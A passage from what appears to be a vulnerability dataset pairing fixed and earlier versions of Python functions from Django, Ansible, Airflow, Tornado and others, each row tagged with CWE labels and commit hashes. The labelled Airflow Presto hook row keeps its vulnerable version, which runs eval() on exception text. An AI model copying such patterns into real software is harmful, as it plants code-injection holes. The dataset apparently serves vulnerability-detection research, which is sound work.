(models.Model, ""models.Model"", []),
]
for case, string, imports in special_cases:
if case is value:
return string, set(imports)
if hasattr(value, ""__module__""):
module = value.__module__
return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
# Uh oh.
else:
raise ValueError(""Cannot serialize: %r"" % value)",CWE-Unknown,django/django,c8cbdabfab3a150904a2214930e82112d0231ff2,"def serialize(cls, value):
""""""
Serializes the value to a string that's parsable by Python, along
with any needed imports to make that string work.
More advanced than repr() as it can encode things
like datetime.datetime.now.
""""""
# Sequences
if isinstance(value, (list, set, tuple)):
imports = set()
strings = []
for item in value:
item_string, item_imports = cls.serialize(item)
imports.update(item_imports)
strings.append(item_string)
if isinstance(value, set):
format = ""set([%s])""
elif isinstance(value, tuple):
format = ""(%s,)""
else:
format = ""[%s]""
return format % ("", "".join(strings)), imports
# Dictionaries
elif isinstance(value, dict):
imports = set()
strings = []
for k, v in value.items():
k_string, k_imports = cls.serialize(k)
v_string, v_imports = cls.serialize(v)
imports.update(k_imports)
imports.update(v_imports)
strings.append((k_string, v_string))
return ""{%s}"" % ("", "".join([""%s: %s"" % (k, v) for k, v in strings])), imports
# Datetimes
elif isinstance(value, (datetime.datetime, datetime.date)):
return repr(value), set([""import datetime""])
# Simple types
elif isinstance(value, (int, long, float, six.binary_type, six.text_type, bool, types.NoneType)):
return repr(value), set()
# Django fields
elif isinstance(value, models.Field):
attr_name, path, args, kwargs = value.deconstruct()
module, name = path.rsplit(""."", 1)
if module == ""django.db.models"":
imports = set([""from django.db import models""])
name = ""models.%s"" % name
else:
imports = set([""import %s"" % module])
name = path
arg_strings = []
for arg in args:
arg_string, arg_imports = cls.serialize(arg)
arg_strings.append(arg_string)
imports.update(arg_imports)
for kw, arg in kwargs.items():
arg_string, arg_imports = cls.serialize(arg)
imports.update(arg_imports)
arg_strings.append(""%s=%s"" % (kw, arg_string))
return ""%s(%s)"" % (name, "", "".join(arg_strings)), imports
# Functions
elif isinstance(value, (types.FunctionType, types.BuiltinFunctionType)):
# Special-cases, as these don't have im_class
special_cases = [
(datetime.datetime.now, ""datetime.datetime.now"", [""import datetime""]),
(datetime.datetime.utcnow, ""datetime.datetime.utcnow"", [""import datetime""]),
(datetime.date.today, ""datetime.date.today"", [""import datetime""]),
]
for func, string, imports in special_cases:
if func == value: # For some reason ""utcnow is not utcnow""
return string, set(imports)
# Method?
if hasattr(value, ""im_class""):
klass = value.im_class
module = klass.__module__
return ""%s.%s.%s"" % (module, klass.__name__, value.__name__), set([""import %s"" % module])
else:
module = value.__module__
if module is None:
raise ValueError(""Cannot serialize function %r: No module"" % value)
return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
# Classes
elif isinstance(value, type):
special_cases = [
(models.Model, ""models.Model"", []),
]
for case, string, imports in special_cases:
if case is value:
return string, set(imports)
if hasattr(value, ""__module__""):
module = value.__module__
return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
# Uh oh.
else:
raise ValueError(""Cannot serialize: %r"" % value)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/check_idt.py,0,"def calculate(self):
""""""
This works by walking the IDT table for the entries that Linux uses
and verifies that each is a symbol in the kernel
""""""
linux_common.set_plugin_members(self)
tblsz = 256
sym_addrs = self.profile.get_all_addresses()
# hw handlers + system call
check_idxs = list(range(0, 20)) + [128]
if self.profile.metadata.get('memory_model', '32bit') == ""32bit"":
idt_type = ""desc_struct""
else:
idt_type = ""gate_struct64""
# this is written as a list b/c there are supposdly kernels with per-CPU IDTs
# but I haven't found one yet...
addrs = [self.get_profile_symbol(""idt_table"")]
for tableaddr in addrs:
table = obj.Object(theType = 'Array', offset = tableaddr, vm = self.addr_space, targetType = idt_type, count = tblsz)
for i in check_idxs:
ent = table[i]
if not ent:
continue
idt_addr = ent.Address
if not idt_addr in sym_addrs:
yield(i, idt_addr, 1)
else:
yield(i, idt_addr, 0)",,volatilityfoundation/volatility,e0170340236abc28c14a677eb302a681db957e33,"def calculate(self):
""""""
This works by walking the IDT table for the entries that Linux uses
and verifies that each is a symbol in the kernel
""""""
linux_common.set_plugin_members(self)
tblsz = 256
sym_addrs = self.profile.get_all_addresses()
# hw handlers + system call
check_idxs = list(range(0, 20)) + [128]
if self.profile.metadata.get('memory_model', '32bit') == ""32bit"":
idt_type = ""desc_struct""
else:
idt_type = ""gate_struct64""
# this is written as a list b/c there are supposdly kernels with per-CPU IDTs
# but I haven't found one yet...
addrs = [self.get_profile_symbol(""idt_table"")]
for tableaddr in addrs:
table = obj.Object(theType = 'Array', offset = tableaddr, vm = self.addr_space, targetType = idt_type, count = tblsz)
for i in check_idxs:
ent = table[i]
if not ent:
continue
idt_addr = ent.Address
if not idt_addr in sym_addrs:
yield(i, idt_addr, 1)
else:
yield(i, idt_addr, 0)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/vmware/vmware_guest.py,0,"def customize_vm(self, vm_obj):
# User specified customization specification
custom_spec_name = self.params.get('customization_spec')
if custom_spec_name:
cc_mgr = self.content.customizationSpecManager
if cc_mgr.DoesCustomizationSpecExist(name=custom_spec_name):
temp_spec = cc_mgr.GetCustomizationSpec(name=custom_spec_name)
self.customspec = temp_spec.spec
return
else:
self.module.fail_json(msg=""Unable to find customization specification""
"" '%s' in given configuration."" % custom_spec_name)
# Network settings
adaptermaps = []
for network in self.params['networks']:
guest_map = vim.vm.customization.AdapterMapping()
guest_map.adapter = vim.vm.customization.IPSettings()
if 'ip' in network and 'netmask' in network:
guest_map.adapter.ip = vim.vm.customization.FixedIp()
guest_map.adapter.ip.ipAddress = str(network['ip'])
guest_map.adapter.subnetMask = str(network['netmask'])
elif 'type' in network and network['type'] == 'dhcp':
guest_map.adapter.ip = vim.vm.customization.DhcpIpGenerator()
if 'gateway' in network:
guest_map.adapter.gateway = network['gateway']
# On Windows, DNS domain and DNS servers can be set by network interface
# https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.IPSettings.html
if 'domain' in network:
guest_map.adapter.dnsDomain = network['domain']
elif 'domain' in self.params['customization']:
guest_map.adapter.dnsDomain = self.params['customization']['domain']
if 'dns_servers' in network:
guest_map.adapter.dnsServerList = network['dns_servers']
elif 'dns_servers' in self.params['customization']:
guest_map.adapter.dnsServerList = self.params['customization']['dns_servers']
adaptermaps.append(guest_map)
# Global DNS settings
globalip = vim.vm.customization.GlobalIPSettings()
if 'dns_servers' in self.params['customization']:
globalip.dnsServerList = self.params['customization']['dns_servers']
# TODO: Maybe list the different domains from the interfaces here by default ?
if 'dns_suffix' in self.params['customization']:
dns_suffix = self.params['customization']['dns_suffix']
if isinstance(dns_suffix, list):
globalip.dnsSuffixList = "" "".join(dns_suffix)
else:
globalip.dnsSuffixList = dns_suffix
elif 'domain' in self.params['customization']:
globalip.dnsSuffixList = self.params['customization']['domain']
if self.params['guest_id']:
guest_id = self.params['guest_id']
else:
guest_id = vm_obj.summary.config.guestId
# For windows guest OS, use SysPrep
# https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.Sysprep.html#field_detail
if 'win' in guest_id:
ident = vim.vm.customization.Sysprep()
ident.userData = vim.vm.customization.UserData()
# Setting hostName, orgName and fullName is mandatory, so we set some default when missing
ident.userData.computerName = vim.vm.customization.FixedName()
# computer name will be truncated to 15 characters if using VM name
default_name = self.params['name'].replace(' ', '')
default_name = ''.join([c for c in default_name if c not in string.punctuation])
ident.userData.computerName.name = str(self.params['customization'].get('hostname', default_name[0:15]))
ident.userData.fullName = str(self.params['customization'].get('fullname', 'Administrator'))
ident.userData.orgName = str(self.params['customization'].get('orgname', 'ACME'))
if 'productid' in self.params['customization']:
ident.userData.productId = str(self.params['customization']['productid'])
ident.guiUnattended = vim.vm.customization.GuiUnattended()
if 'autologon' in self.params['customization']:
ident.guiUnattended.autoLogon = self.params['customization']['autologon']
ident.guiUnattended.autoLogonCount = self.params['customization'].get('autologoncount', 1)
if 'timezone' in self.params['customization']:
# Check if timezone value is a int before proceeding.
ident.guiUnattended.timeZone = self.device_helper.integer_value(
self.params['customization']['timezone'],
'customization.timezone')
ident.identification = vim.vm.customization.Identification()
if self.params['customization'].get('password', '') != '':
ident.guiUnattended.password = vim.vm.customization.Password()
ident.guiUnattended.password.value = str(self.params['customization']['password'])
ident.guiUnattended.password.plainText = True
if 'joindomain' in self.params['customization']:
if 'domainadmin' not in self.params['customization'] or 'domainadminpassword' not in self.params['customization']:
self.module.fail_json(msg=""'domainadmin' and 'domainadminpassword' entries are mandatory in 'customization' section to use ""
""joindomain feature"")
ident.identification.domainAdmin = str(self.params['customization']['domainadmin'])
ident.identification.joinDomain = str(self.params['customization']['joindomain'])
ident.identification.domainAdminPassword = vim.vm.customization.Password()
ident.identification.domainAdminPassword.value = str(self.params['customization']['domainadminpassword'])
ident.identification.domainAdminPassword.plainText = True
elif 'joinworkgroup' in self.params['customization']:
ident.identification.joinWorkgroup = str(self.params['customization']['joinworkgroup'])
if 'runonce' in self.params['customization']:
ident.guiRunOnce = vim.vm.customization.GuiRunOnce()
ident.guiRunOnce.commandList = self.params['customization']['runonce']
else:
# FIXME: We have no clue whether this non-Windows OS is actually Linux, hence it might fail!
# For Linux guest OS, use LinuxPrep
# https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.LinuxPrep.html
ident = vim.vm.customization.LinuxPrep()
# TODO: Maybe add domain from interface if missing ?
if 'domain' in self.params['customization']:
ident.domain = str(self.params['customization']['domain'])
ident.hostName = vim.vm.customization.FixedName()
hostname = str(self.params['customization'].get('hostname', self.params['name'].split('.')[0]))
# Remove all characters except alphanumeric and minus which is allowed by RFC 952
valid_hostname = re.sub(r""[^a-zA-Z0-9\-]"", """", hostname)
ident.hostName.name = valid_hostname
# List of supported time zones for different vSphere versions in Linux/Unix systems
# https://kb.vmware.com/s/article/2145518
if 'timezone' in self.params['customization']:
ident.timeZone = str(self.params['customization']['timezone'])
if 'hwclockUTC' in self.params['customization']:
ident.hwClockUTC = self.params['customization']['hwclockUTC']
self.customspec = vim.vm.customization.Specification()
self.customspec.nicSettingMap = adaptermaps
self.customspec.globalIPSettings = globalip
self.customspec.identity = ident",,ansible/ansible,8f89d1d3dae38db8273dd7a45b9320c03e347fa9,"def customize_vm(self, vm_obj):
# User specified customization specification
custom_spec_name = self.params.get('customization_spec')
if custom_spec_name:
cc_mgr = self.content.customizationSpecManager
if cc_mgr.DoesCustomizationSpecExist(name=custom_spec_name):
temp_spec = cc_mgr.GetCustomizationSpec(name=custom_spec_name)
self.customspec = temp_spec.spec
return
else:
self.module.fail_json(msg=""Unable to find customization specification""
"" '%s' in given configuration."" % custom_spec_name)
# Network settings
adaptermaps = []
for network in self.params['networks']:
guest_map = vim.vm.customization.AdapterMapping()
guest_map.adapter = vim.vm.customization.IPSettings()
if 'ip' in network and 'netmask' in network:
guest_map.adapter.ip = vim.vm.customization.FixedIp()
guest_map.adapter.ip.ipAddress = str(network['ip'])
guest_map.adapter.subnetMask = str(network['netmask'])
elif 'type' in network and network['type'] == 'dhcp':
guest_map.adapter.ip = vim.vm.customization.DhcpIpGenerator()
if 'gateway' in network:
guest_map.adapter.gateway = network['gateway']
# On Windows, DNS domain and DNS servers can be set by network interface
# https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.IPSettings.html
if 'domain' in network:
guest_map.adapter.dnsDomain = network['domain']
elif 'domain' in self.params['customization']:
guest_map.adapter.dnsDomain = self.params['customization']['domain']
if 'dns_servers' in network:
guest_map.adapter.dnsServerList = network['dns_servers']
elif 'dns_servers' in self.params['customization']:
guest_map.adapter.dnsServerList = self.params['customization']['dns_servers']
adaptermaps.append(guest_map)
# Global DNS settings
globalip = vim.vm.customization.GlobalIPSettings()
if 'dns_servers' in self.params['customization']:
globalip.dnsServerList = self.params['customization']['dns_servers']
# TODO: Maybe list the different domains from the interfaces here by default ?
if 'dns_suffix' in self.params['customization']:
dns_suffix = self.params['customization']['dns_suffix']
if isinstance(dns_suffix, list):
globalip.dnsSuffixList = "" "".join(dns_suffix)
else:
globalip.dnsSuffixList = dns_suffix
elif 'domain' in self.params['customization']:
globalip.dnsSuffixList = self.params['customization']['domain']
if self.params['guest_id']:
guest_id = self.params['guest_id']
else:
guest_id = vm_obj.summary.config.guestId
# For windows guest OS, use SysPrep
# https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.Sysprep.html#field_detail
if 'win' in guest_id:
ident = vim.vm.customization.Sysprep()
ident.userData = vim.vm.customization.UserData()
# Setting hostName, orgName and fullName is mandatory, so we set some default when missing
ident.userData.computerName = vim.vm.customization.FixedName()
# computer name will be truncated to 15 characters if using VM name
default_name = self.params['name'].translate(None, string.punctuation)
ident.userData.computerName.name = str(self.params['customization'].get('hostname', default_name[0:15]))
ident.userData.fullName = str(self.params['customization'].get('fullname', 'Administrator'))
ident.userData.orgName = str(self.params['customization'].get('orgname', 'ACME'))
if 'productid' in self.params['customization']:
ident.userData.productId = str(self.params['customization']['productid'])
ident.guiUnattended = vim.vm.customization.GuiUnattended()
if 'autologon' in self.params['customization']:
ident.guiUnattended.autoLogon = self.params['customization']['autologon']
ident.guiUnattended.autoLogonCount = self.params['customization'].get('autologoncount', 1)
if 'timezone' in self.params['customization']:
# Check if timezone value is a int before proceeding.
ident.guiUnattended.timeZone = self.device_helper.integer_value(
self.params['customization']['timezone'],
'customization.timezone')
ident.identification = vim.vm.customization.Identification()
if self.params['customization'].get('password', '') != '':
ident.guiUnattended.password = vim.vm.customization.Password()
ident.guiUnattended.password.value = str(self.params['customization']['password'])
ident.guiUnattended.password.plainText = True
if 'joindomain' in self.params['customization']:
if 'domainadmin' not in self.params['customization'] or 'domainadminpassword' not in self.params['customization']:
self.module.fail_json(msg=""'domainadmin' and 'domainadminpassword' entries are mandatory in 'customization' section to use ""
""joindomain feature"")
ident.identification.domainAdmin = str(self.params['customization']['domainadmin'])
ident.identification.joinDomain = str(self.params['customization']['joindomain'])
ident.identification.domainAdminPassword = vim.vm.customization.Password()
ident.identification.domainAdminPassword.value = str(self.params['customization']['domainadminpassword'])
ident.identification.domainAdminPassword.plainText = True
elif 'joinworkgroup' in self.params['customization']:
ident.identification.joinWorkgroup = str(self.params['customization']['joinworkgroup'])
if 'runonce' in self.params['customization']:
ident.guiRunOnce = vim.vm.customization.GuiRunOnce()
ident.guiRunOnce.commandList = self.params['customization']['runonce']
else:
# FIXME: We have no clue whether this non-Windows OS is actually Linux, hence it might fail!
# For Linux guest OS, use LinuxPrep
# https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.LinuxPrep.html
ident = vim.vm.customization.LinuxPrep()
# TODO: Maybe add domain from interface if missing ?
if 'domain' in self.params['customization']:
ident.domain = str(self.params['customization']['domain'])
ident.hostName = vim.vm.customization.FixedName()
hostname = str(self.params['customization'].get('hostname', self.params['name'].split('.')[0]))
# Remove all characters except alphanumeric and minus which is allowed by RFC 952
valid_hostname = re.sub(r""[^a-zA-Z0-9\-]"", """", hostname)
ident.hostName.name = valid_hostname
# List of supported time zones for different vSphere versions in Linux/Unix systems
# https://kb.vmware.com/s/article/2145518
if 'timezone' in self.params['customization']:
ident.timeZone = str(self.params['customization']['timezone'])
if 'hwclockUTC' in self.params['customization']:
ident.hwClockUTC = self.params['customization']['hwclockUTC']
self.customspec = vim.vm.customization.Specification()
self.customspec.nicSettingMap = adaptermaps
self.customspec.globalIPSettings = globalip
self.customspec.identity = ident"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/kernelspecs/handlers.py,0,"def get(self, kernel_name, path, include_body=True):
ksm = self.kernel_spec_manager
try:
self.root = ksm.get_kernel_spec(kernel_name).resource_dir
except KeyError as e:
raise web.HTTPError(404,
u'Kernel spec %s not found' % kernel_name) from e
self.log.debug(""Serving kernel resource from: %s"", self.root)
return web.StaticFileHandler.get(self, path, include_body=include_body)",,jupyter/notebook,94af525a2c0aaa99311647c6cccf9add07a63033,"def get(self, kernel_name, path, include_body=True):
ksm = self.kernel_spec_manager
try:
self.root = ksm.get_kernel_spec(kernel_name).resource_dir
except KeyError:
raise web.HTTPError(404, u'Kernel spec %s not found' % kernel_name)
self.log.debug(""Serving kernel resource from: %s"", self.root)
return web.StaticFileHandler.get(self, path, include_body=include_body)"
,UNKNOWN,UNKNOWN,airflow/hooks/presto_hook.py,1,"def get_records(self, hql, parameters=None):
""""""
Get a set of records from Presto
""""""
try:
return super(PrestoHook, self).get_records(
self._strip_sql(hql), parameters)
except DatabaseError as e:
if (hasattr(e, 'message') and
'errorName' in e.message and
'message' in e.message):
# Use the structured error data in the raised exception
raise PrestoException('{name}: {message}'.format(
name=e.message['errorName'], message=e.message['message']))
else:
raise PrestoException(str(e))",CWE-94,apache/airflow,5b7ca355c6158546409f6ccda410416286c94d99,"def get_records(self, hql, parameters=None):
""""""
Get a set of records from Presto
""""""
try:
return super(PrestoHook, self).get_records(
self._strip_sql(hql), parameters)
except DatabaseError as e:
obj = eval(str(e))
raise PrestoException(obj['message'])"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def format_html(format_string, *args, **kwargs):
""""""
Similar to str.format, but pass all arguments through conditional_escape(),
and call mark_safe() on the result. This function should be used instead
of str.format or % interpolation to build up small HTML fragments.
""""""
if not (args or kwargs):
# RemovedInDjango60Warning: when the deprecation ends, replace with:
# raise TypeError(""args or kwargs must be provided."")
warnings.warn(
""Calling format_html() without passing args or kwargs is deprecated."",
RemovedInDjango60Warning,
stacklevel=2,
)
args_safe = map(conditional_escape, args)
kwargs_safe = {k: conditional_escape(v) for (k, v) in kwargs.items()}
return mark_safe(format_string.format(*args_safe, **kwargs_safe))",CWE-79,django/django,03e0ab5c64d4bc09c6932268b29efcc789a0f7af,"def format_html(format_string, *args, **kwargs):
""""""
Similar to str.format, but pass all arguments through conditional_escape(),
and call mark_safe() on the result. This function should be used instead
of str.format or % interpolation to build up small HTML fragments.
""""""
if not (args or kwargs):
# RemovedInDjango60Warning: when the deprecation ends, replace with:
# raise ValueError(""args or kwargs must be provided."")
warnings.warn(
""Calling format_html() without passing args or kwargs is deprecated."",
RemovedInDjango60Warning,
)
args_safe = map(conditional_escape, args)
kwargs_safe = {k: conditional_escape(v) for (k, v) in kwargs.items()}
return mark_safe(format_string.format(*args_safe, **kwargs_safe))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/iostream.py,0,"def _signal_closed(self) -> None:
futures = [] # type: List[Future]
if self._read_future is not None:
futures.append(self._read_future)
self._read_future = None
futures += [future for _, future in self._write_futures]
self._write_futures.clear()
if self._connect_future is not None:
futures.append(self._connect_future)
self._connect_future = None
for future in futures:
if not future.done():
future.set_exception(StreamClosedError(real_error=self.error))
future.exception()
if self._ssl_connect_future is not None:
# _ssl_connect_future expects to see the real exception (typically
# an ssl.SSLError), not just StreamClosedError.
if not self._ssl_connect_future.done():
if self.error is not None:
self._ssl_connect_future.set_exception(self.error)
else:
self._ssl_connect_future.set_exception(StreamClosedError())
self._ssl_connect_future.exception()
self._ssl_connect_future = None
if self._close_callback is not None:
cb = self._close_callback
self._close_callback = None
self.io_loop.add_callback(cb)
# Clear the buffers so they can be cleared immediately even
# if the IOStream object is kept alive by a reference cycle.
# TODO: Clear the read buffer too; it currently breaks some tests.
self._write_buffer = None",CWE-Unknown,tornadoweb/tornado,449f2aeafa62242d80cf499087d96e33077df022,"def _signal_closed(self) -> None:
futures = [] # type: List[Future]
if self._read_future is not None:
futures.append(self._read_future)
self._read_future = None
futures += [future for _, future in self._write_futures]
self._write_futures.clear()
if self._connect_future is not None:
futures.append(self._connect_future)
self._connect_future = None
for future in futures:
future.set_exception(StreamClosedError(real_error=self.error))
future.exception()
if self._ssl_connect_future is not None:
# _ssl_connect_future expects to see the real exception (typically
# an ssl.SSLError), not just StreamClosedError.
if self.error is not None:
self._ssl_connect_future.set_exception(self.error)
else:
self._ssl_connect_future.set_exception(StreamClosedError())
self._ssl_connect_future.exception()
self._ssl_connect_future = None
if self._close_callback is not None:
cb = self._close_callback
self._close_callback = None
self.io_loop.add_callback(cb)
# Clear the buffers so they can be cleared immediately even
# if the IOStream object is kept alive by a reference cycle.
# TODO: Clear the read buffer too; it currently breaks some tests.
self._write_buffer = None"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/script.py,0,"def run(self, tmp=None, task_vars=None):
''' handler for file transfer operations '''
if self._play_context.check_mode:
return dict(skipped=True, msg='check mode not supported for this module')
if not tmp:
tmp = self._make_tmp_path()
creates = self._task.args.get('creates')
if creates:
# do not run the command if the line contains creates=filename
# and the filename already exists. This allows idempotence
# of command executions.
result = self._execute_module(module_name='stat', module_args=dict(path=creates), task_vars=task_vars, tmp=tmp, persist_files=True)
stat = result.get('stat', None)
if stat and stat.get('exists', False):
return dict(skipped=True, msg=(""skipped, since %s exists"" % creates))
removes = self._task.args.get('removes')
if removes:
# do not run the command if the line contains removes=filename
# and the filename does not exist. This allows idempotence
# of command executions.
result = self._execute_module(module_name='stat', module_args=dict(path=removes), task_vars=task_vars, tmp=tmp, persist_files=True)
stat = result.get('stat', None)
if stat and not stat.get('exists', False):
return dict(skipped=True, msg=(""skipped, since %s does not exist"" % removes))
# the script name is the first item in the raw params, so we split it
# out now so we know the file name we need to transfer to the remote,
# and everything else is an argument to the script which we need later
# to append to the remote command
parts = self._task.args.get('_raw_params', '').strip().split()
source = parts[0]
args = ' '.join(parts[1:])
if self._task._role is not None:
source = self._loader.path_dwim_relative(self._task._role._role_path, 'files', source)
else:
source = self._loader.path_dwim(source)
# transfer the file to a remote tmp location
tmp_src = self._connection._shell.join_path(tmp, os.path.basename(source))
self._connection.put_file(source, tmp_src)
sudoable = True
# set file permissions, more permissive when the copy is done as a different user
if self._play_context.become and self._play_context.become_user != 'root':
chmod_mode = 'a+rx'
sudoable = False
else:
chmod_mode = '+rx'
self._remote_chmod(tmp, chmod_mode, tmp_src, sudoable=sudoable)
# add preparation steps to one ssh roundtrip executing the script
env_string = self._compute_environment_string()
script_cmd = ' '.join([env_string, tmp_src, args])
result = self._low_level_execute_command(cmd=script_cmd, tmp=None, sudoable=True)
# clean up after
if tmp and ""tmp"" in tmp and not C.DEFAULT_KEEP_REMOTE_FILES:
self._remove_tmp_path(tmp)
result['changed'] = True
return result",,ansible/ansible,c08305a31ffb3ee83146545ebab3909598b8b712,"def run(self, tmp=None, task_vars=None):
''' handler for file transfer operations '''
if self._play_context.check_mode:
return dict(skipped=True, msg='check mode not supported for this module')
if not tmp:
tmp = self._make_tmp_path()
creates = self._task.args.get('creates')
if creates:
# do not run the command if the line contains creates=filename
# and the filename already exists. This allows idempotence
# of command executions.
result = self._execute_module(module_name='stat', module_args=dict(path=creates), task_vars=task_vars, tmp=tmp, persist_files=True)
stat = result.get('stat', None)
if stat and stat.get('exists', False):
return dict(skipped=True, msg=(""skipped, since %s exists"" % creates))
removes = self._task.args.get('removes')
if removes:
# do not run the command if the line contains removes=filename
# and the filename does not exist. This allows idempotence
# of command executions.
result = self._execute_module(module_name='stat', module_args=dict(path=removes), task_vars=task_vars, tmp=tmp, persist_files=True)
stat = result.get('stat', None)
if stat and not stat.get('exists', False):
return dict(skipped=True, msg=(""skipped, since %s does not exist"" % removes))
# the script name is the first item in the raw params, so we split it
# out now so we know the file name we need to transfer to the remote,
# and everything else is an argument to the script which we need later
# to append to the remote command
parts = self._task.args.get('_raw_params', '').strip().split()
source = parts[0]
args = ' '.join(parts[1:])
if self._task._role is not None:
source = self._loader.path_dwim_relative(self._task._role._role_path, 'files', source)
else:
source = self._loader.path_dwim(source)
# transfer the file to a remote tmp location
tmp_src = self._connection._shell.join_path(tmp, os.path.basename(source))
self._connection.put_file(source, tmp_src)
sudoable = True
# set file permissions, more permissive when the copy is done as a different user
if self._play_context.become and self._play_context.become_user != 'root':
chmod_mode = 'a+rx'
sudoable = False
else:
chmod_mode = '+rx'
self._remote_chmod(tmp, chmod_mode, tmp_src, sudoable=sudoable)
# add preparation steps to one ssh roundtrip executing the script
env_string = self._compute_environment_string()
script_cmd = ' '.join([env_string, tmp_src, args])
result = self._low_level_execute_command(cmd=script_cmd, tmp=None, sudoable=sudoable)
# clean up after
if tmp and ""tmp"" in tmp and not C.DEFAULT_KEEP_REMOTE_FILES:
self._remove_tmp_path(tmp)
result['changed'] = True
return result"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/remote_commands/task_command.py,0,"def _run_task_by_executor(args, dag: DAG, ti: TaskInstance) -> None:
""""""
Send the task to the executor for execution.
This can result in the task being started by another host if the executor implementation does.
""""""
from airflow.executors.base_executor import BaseExecutor
if ti.executor:
executor = ExecutorLoader.load_executor(ti.executor)
else:
executor = ExecutorLoader.get_default_executor()
executor.job_id = None
executor.start()
print(""Sending to executor."")
# TODO: Task-SDK: this is temporary while we migrate the other executors over
if executor.queue_workload.__func__ is not BaseExecutor.queue_workload: # type: ignore[attr-defined]
from airflow.executors import workloads
workload = workloads.ExecuteTask.make(ti, dag_path=dag.relative_fileloc)
with create_session() as session:
executor.queue_workload(workload, session)
else:
executor.queue_task_instance(
ti,
mark_success=args.mark_success,
ignore_all_deps=args.ignore_all_dependencies,
ignore_depends_on_past=should_ignore_depends_on_past(args),
wait_for_past_depends_before_skipping=(args.depends_on_past == ""wait""),
ignore_task_deps=args.ignore_dependencies,
ignore_ti_state=args.force,
pool=args.pool,
)
executor.heartbeat()
executor.end()",CWE-Unknown,apache/airflow,03993819690fe8b98cdd8a6540bc6a107cdb9a63,"def _run_task_by_executor(args, dag: DAG, ti: TaskInstance) -> None:
""""""
Send the task to the executor for execution.
This can result in the task being started by another host if the executor implementation does.
""""""
from airflow.executors.base_executor import BaseExecutor
if ti.executor:
executor = ExecutorLoader.load_executor(ti.executor)
else:
executor = ExecutorLoader.get_default_executor()
executor.job_id = None
executor.start()
print(""Sending to executor."")
# TODO: Task-SDK: this is temporary while we migrate the other executors over
if executor.queue_workload.__func__ is not BaseExecutor.queue_workload: # type: ignore[attr-defined]
from airflow.executors import workloads
workload = workloads.ExecuteTask.make(ti, dag_path=dag.relative_fileloc)
executor.queue_workload(workload)
else:
executor.queue_task_instance(
ti,
mark_success=args.mark_success,
ignore_all_deps=args.ignore_all_dependencies,
ignore_depends_on_past=should_ignore_depends_on_past(args),
wait_for_past_depends_before_skipping=(args.depends_on_past == ""wait""),
ignore_task_deps=args.ignore_dependencies,
ignore_ti_state=args.force,
pool=args.pool,
)
executor.heartbeat()
executor.end()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/entities/paged_list.py,0,"def __init__(self, items: List[T], token):
super().__init__(items)
self.token = token",,mlflow/mlflow,0247a7d9ea40adc1fd7b36c22878f1b92662b01b,"def __init__(self, items: List[T], token):
super().__init__(items)
self.token = token"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/http1connection.py,0,"def write_headers(self, start_line, headers, chunk=None, callback=None):
""""""Implements `.HTTPConnection.write_headers`.""""""
lines = []
if self.is_client:
self._request_start_line = start_line
lines.append(utf8('%s %s HTTP/1.1' % (start_line[0], start_line[1])))
# Client requests with a non-empty body must have either a
# Content-Length or a Transfer-Encoding.
self._chunking_output = (
start_line.method in ('POST', 'PUT', 'PATCH') and
'Content-Length' not in headers and
'Transfer-Encoding' not in headers)
else:
self._response_start_line = start_line
lines.append(utf8('HTTP/1.1 %d %s' % (start_line[1], start_line[2])))
self._chunking_output = (
# TODO: should this use
# self._request_start_line.version or
# start_line.version?
self._request_start_line.version == 'HTTP/1.1' and
# 304 responses have no body (not even a zero-length body), and so
# should not have either Content-Length or Transfer-Encoding.
# headers.
start_line.code != 304 and
# No need to chunk the output if a Content-Length is specified.
'Content-Length' not in headers and
# Applications are discouraged from touching Transfer-Encoding,
# but if they do, leave it alone.
'Transfer-Encoding' not in headers)
# If a 1.0 client asked for keep-alive, add the header.
if (self._request_start_line.version == 'HTTP/1.0' and
(self._request_headers.get('Connection', '').lower() ==
'keep-alive')):
headers['Connection'] = 'Keep-Alive'
if self._chunking_output:
headers['Transfer-Encoding'] = 'chunked'
if (not self.is_client and
(self._request_start_line.method == 'HEAD' or
start_line.code == 304)):
self._expected_content_remaining = 0
elif 'Content-Length' in headers:
self._expected_content_remaining = int(headers['Content-Length'])
else:
self._expected_content_remaining = None
lines.extend([utf8(n) + b"": "" + utf8(v) for n, v in headers.get_all()])
for line in lines:
if b'\n' in line:
raise ValueError('Newline in header: ' + repr(line))
future = None
if self.stream.closed():
future = self._write_future = Future()
future.set_exception(iostream.StreamClosedError())
future.exception()
else:
if callback is not None:
self._write_callback = stack_context.wrap(callback)
else:
future = self._write_future = Future()
data = b""\r\n"".join(lines) + b""\r\n\r\n""
if chunk:
data += self._format_chunk(chunk)
self._pending_write = self.stream.write(data)
self._pending_write.add_done_callback(self._on_write_complete)
return future",CWE-Unknown,tornadoweb/tornado,9f723211348f14a650f87c9c991260b387b18cb0,"def write_headers(self, start_line, headers, chunk=None, callback=None):
""""""Implements `.HTTPConnection.write_headers`.""""""
lines = []
if self.is_client:
self._request_start_line = start_line
lines.append(utf8('%s %s HTTP/1.1' % (start_line[0], start_line[1])))
# Client requests with a non-empty body must have either a
# Content-Length or a Transfer-Encoding.
self._chunking_output = (
start_line.method in ('POST', 'PUT', 'PATCH') and
'Content-Length' not in headers and
'Transfer-Encoding' not in headers)
else:
self._response_start_line = start_line
lines.append(utf8('HTTP/1.1 %d %s' % (start_line[1], start_line[2])))
self._chunking_output = (
# TODO: should this use
# self._request_start_line.version or
# start_line.version?
self._request_start_line.version == 'HTTP/1.1' and
